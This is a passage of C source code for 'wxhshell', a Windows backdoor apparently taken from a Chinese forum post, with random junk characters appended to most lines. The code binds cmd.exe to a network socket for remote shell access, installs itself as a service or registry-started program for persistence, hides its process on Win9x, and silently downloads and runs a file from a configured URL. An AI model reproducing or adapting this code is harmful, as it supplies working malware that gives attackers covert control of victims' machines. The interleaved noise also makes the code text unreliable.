  else { q`3HHq  
eH V#Mey[  
    switch(cmd[0]) { PpLiH9}  
  =$y;0]7Lwi  
  // 帮助 H)h$@14xu  
  case '?': { ]XASim:A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'YJ~~o  
    break; CXBFR>"  
  } h[;DRD!Z  
  // 安装 )KY4BBc  
  case 'i': { t`Rbn{   
    if(Install()) {oS/Xa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~G  amjS  
    else >`l^ C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;H3~r^>c  
    break; yIC C8M  
    } I Z|EPzS  
  // 卸载 <KJ|U0/jGd  
  case 'r': { "(iDUl  
    if(Uninstall())  au]W*;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $:yIe.F  
    else vJ{F)0 K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F1S0C>N?5  
    break; 1(pv 3  
    } rp4{lHw>C/  
  // 显示 wxhshell 所在路径 }mo)OyIX  
  case 'p': { dlA0&;}z  
    char svExeFile[MAX_PATH]; X f{9rZ+  
    strcpy(svExeFile,"\n\r"); OnH3Ss$  
      strcat(svExeFile,ExeFile); e=s({V  
        send(wsh,svExeFile,strlen(svExeFile),0);  9I:3  
    break; iL!4r]~H  
    } vQGv4  
  // 重启 2r!- zEV  
  case 'b': { Y_6 v@SiO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MJ$.ST  
    if(Boot(REBOOT)) @} +k]c25  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,] eN&`  
    else { CED[\ n  
    closesocket(wsh); 1>/ iYf  
    ExitThread(0); ;<*USS6X  
    } |S~$IFN4  
    break; (5A8#7a  
    } F-F1^$]k  
  // 关机 >xA( *7  
  case 'd': { ArjRoXDE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (w#)|9Cxm  
    if(Boot(SHUTDOWN)) 4 aE{}jp1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(yWE0 3  
    else { NHQoP&OG  
    closesocket(wsh); yVQW|D0,j  
    ExitThread(0); .<E7Ey#  
    } 1JJ1!& >  
    break; $ce*W 9`  
    } ;<GK{8  
  // 获取shell {>PEl; ,-  
  case 's': { B873UN  
    CmdShell(wsh); @LFB}B  
    closesocket(wsh); r,3\32[?  
    ExitThread(0); R )4,f~@"  
    break; >Q'*~S@v3  
  } |#{ i7>2U  
  // 退出 *VH Wvj  
  case 'x': { A^$xE6t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >JA>np  
    CloseIt(wsh); 8_ascvs5  
    break; j/q&qrlL  
    } ~W={"n?=  
  // 离开 `DE_<l  
  case 'q': { +]( #!}oH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :P ]D`b6p  
    closesocket(wsh); H}lz_#Z  
    WSACleanup(); 1M 6^Brx  
    exit(1); E!.&y4  
    break; db=S*LUbl  
        } , Y,^vzX6  
  } IlwHHt;njp  
  } <o[3*59  
"LH!Trl@k  
  // 提示信息 jt(GXgm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >y,. `ECn  
} hrO9_B|#  
  } {LVA_7@  
BJ\81 R  
  return; WMW=RgiW\  
} '/9q7?[E!  
\rATmjsKzS  
// shell模块句柄 "'GhE+>Z  
int CmdShell(SOCKET sock) G;J)[y  
{ rC]k'p2x  
STARTUPINFO si; s"J)Jc  
ZeroMemory(&si,sizeof(si)); ,t;US.s([.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DajN1}]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -/0aGqY  
PROCESS_INFORMATION ProcessInfo; QN?EI: q=  
char cmdline[]="cmd"; j:>0XP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4.uaWM)2  
  return 0; 3Agyp89}Q  
} %C@p4  
y"ss<`Cn  
// 自身启动模式 3Ijs V5a  
int StartFromService(void) eE=2~ ylU  
{ >4-9 @i0FV  
typedef struct *0eV9!y  
{ Zy.ls&<:  
  DWORD ExitStatus; a1Q%Gn@R  
  DWORD PebBaseAddress; e ky1}  
  DWORD AffinityMask; $TS97'$  
  DWORD BasePriority; [Y?Y@x"MZ  
  ULONG UniqueProcessId; H'7s`^- >I  
  ULONG InheritedFromUniqueProcessId; B[6k [Vs  
}   PROCESS_BASIC_INFORMATION; @HSK[[?  
;<;~;od*/  
PROCNTQSIP NtQueryInformationProcess; '\+"3!$  
#U7pT!F x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ^u#iz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rjlp<  
GD'Z"rhI  
  HANDLE             hProcess; ~t/i0pKq.  
  PROCESS_BASIC_INFORMATION pbi; qX; F+~  
l(-"rE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `@WJ_-$#  
  if(NULL == hInst ) return 0; Y"r728T`K  
z]C=nXb k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D^V)$ME  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '-J<ib t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r:g_mMvB  
'ey62-^r6  
  if (!NtQueryInformationProcess) return 0; #B6f{D[pI  
#`f{\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~b!la  
  if(!hProcess) return 0; W}2!~ep!  
6O.kKhk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (9TSH3f?  
Z h9D^ I  
  CloseHandle(hProcess); 5~T+d1md  
>Yk|(!v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Yf v^DQ5  
if(hProcess==NULL) return 0; 1E'PSq  
,!GoFu  
HMODULE hMod; 2K o]Q_,~  
char procName[255]; {&^PDa|nD  
unsigned long cbNeeded; 4zt:3bW U  
9Li&0E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;+|Z5+7!6  
GA/afc,V  
  CloseHandle(hProcess); MxT&@pq  
oyY z3X  
if(strstr(procName,"services")) return 1; // 以服务启动 VCiq'LOR,<  
`4X.UPJ  
  return 0; // 注册表启动 5*-RIs! 2  
} m"n" 1;o=  
4[JF.O6}  
// 主模块 :g' 'GqGZ  
int StartWxhshell(LPSTR lpCmdLine) zxIP-QaA  
{ MP<]-M'|<  
  SOCKET wsl; fA?v\'Qq/  
BOOL val=TRUE; rFkZ'rp74b  
  int port=0; $pAVTz  
  struct sockaddr_in door; `?WN*__["  
k~K;r8D/  
  if(wscfg.ws_autoins) Install(); S:`Gi>D  
0s H~yvM5  
port=atoi(lpCmdLine); |HYST`  
%6rSLBw3  
if(port<=0) port=wscfg.ws_port; %G,7Ul1f  
:) -`  
  WSADATA data; QG~6mvD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}s/)}n|  
JC-> eY"O2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d=8.cQL:E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  :TR:tf  
  door.sin_family = AF_INET;  qsXkm4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <_Z.fdUA  
  door.sin_port = htons(port); _KkaseR  
z07&P;W!{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9[&ByEAK  
closesocket(wsl); vM!2?8bEFd  
return 1; XzX2V">(%  
} 5#N<~  
+>;Ux1'@  
  if(listen(wsl,2) == INVALID_SOCKET) { |e+3d3T35  
closesocket(wsl); s3nt2$=:t  
return 1; "\`Fu  
} c}|.U  
  Wxhshell(wsl); z~tdLtcX  
  WSACleanup(); a#%*H  
:A!EjIL`#  
return 0; VS ;y  
+!px+*)bW  
} o<Mcc j  
K@xMPB8in  
// 以NT服务方式启动 ~TXu20c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rtQ{  
{ b?Uk%Z]+v  
DWORD   status = 0; rw3tU0j  
  DWORD   specificError = 0xfffffff; pc@mQI  
y7CO%SA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4F0w+w JD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7UG c2J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aG~zMO_)]  
  serviceStatus.dwWin32ExitCode     = 0; ?I? ~BWu  
  serviceStatus.dwServiceSpecificExitCode = 0; D|m0Vj b  
  serviceStatus.dwCheckPoint       = 0; qC"`i}7  
  serviceStatus.dwWaitHint       = 0; 6^V( C;5!  
=uNc\a(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SqRM*Cf=  
  if (hServiceStatusHandle==0) return; +l/kH9m  
LVm']_K(f  
status = GetLastError(); 9xq3>(  
  if (status!=NO_ERROR) {jQLr7'  
{ qxAh8RR;/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *{k{  
    serviceStatus.dwCheckPoint       = 0; IDw`k[k  
    serviceStatus.dwWaitHint       = 0; z"\w9 @W  
    serviceStatus.dwWin32ExitCode     = status; ^c(r4#}$"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pi |Z\j)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lxgfi@@+h  
    return; ~MC 5rOA  
  } IA Ma  
Rs S:I6L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QGV#AID3XW  
  serviceStatus.dwCheckPoint       = 0; S^|`*%pq  
  serviceStatus.dwWaitHint       = 0; qzA_ ~=g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ kHXt]fU  
} 7t#Q8u?  
V#.pi zb  
// 处理NT服务事件,比如:启动、停止 MZf?48"f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4gev^/^^  
{ ^[}W}j>  
switch(fdwControl) .>[l@x"  
{ Cg~1<J?2  
case SERVICE_CONTROL_STOP: oq,nfUA  
  serviceStatus.dwWin32ExitCode = 0; ni2 [K`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dMsS OP0E  
  serviceStatus.dwCheckPoint   = 0; L>E;cDB  
  serviceStatus.dwWaitHint     = 0; \?Z7|   
  { 1pG|jT+Bi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dZf1iFCP  
  } bc~WJ+  
  return; pV (Mh[ }P  
case SERVICE_CONTROL_PAUSE: YU+P+m2X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N#RC;  
  break; 1,$"'lKwt  
case SERVICE_CONTROL_CONTINUE: X[$|I9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %g5#q64  
  break; J!6w9,T_  
case SERVICE_CONTROL_INTERROGATE: >b9J!'G,(  
  break; *q,nALs  
}; Ja 5od  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@s`PBF7`  
} ,YBO}l  
,ZrR*W?iF  
// 标准应用程序主函数 "K9[P :nw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wf5;~RJC?  
{ 8mRZ(B>% X  
oH v.EO  
// 获取操作系统版本 :eD-'#@$u  
OsIsNt=GetOsVer(); /4+Q; P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); na9YlJ\  
\<xo`2b  
  // 从命令行安装 qa@;S,lp  
  if(strpbrk(lpCmdLine,"iI")) Install(); SDSP4W5  
W-|C K&1  
  // 下载执行文件 <P0 P*>M  
if(wscfg.ws_downexe) { eg?p)|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fr04nl  
  WinExec(wscfg.ws_filenam,SW_HIDE); [:(O`#  
} K re*~ "  
eFf9T@  
if(!OsIsNt) { 5izpQ'>  
// 如果时win9x,隐藏进程并且设置为注册表启动 we!w5./Xm  
HideProc(); T]1.":   
StartWxhshell(lpCmdLine); )=#Js<&3:  
} xZ%3e sp  
else K8-1?-W  
  if(StartFromService()) # c1LOz  
  // 以服务方式启动 5Rw2/J L  
  StartServiceCtrlDispatcher(DispatchTable); e:4,rfF1  
else hJ[keaO  
  // 普通方式启动 JBOU$A ~  
  StartWxhshell(lpCmdLine); Lk$Mfm5"M  
KQ6][2-  
return 0; et/l7+/'  
}
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只看该作者 1 发表于: 2006-10-10
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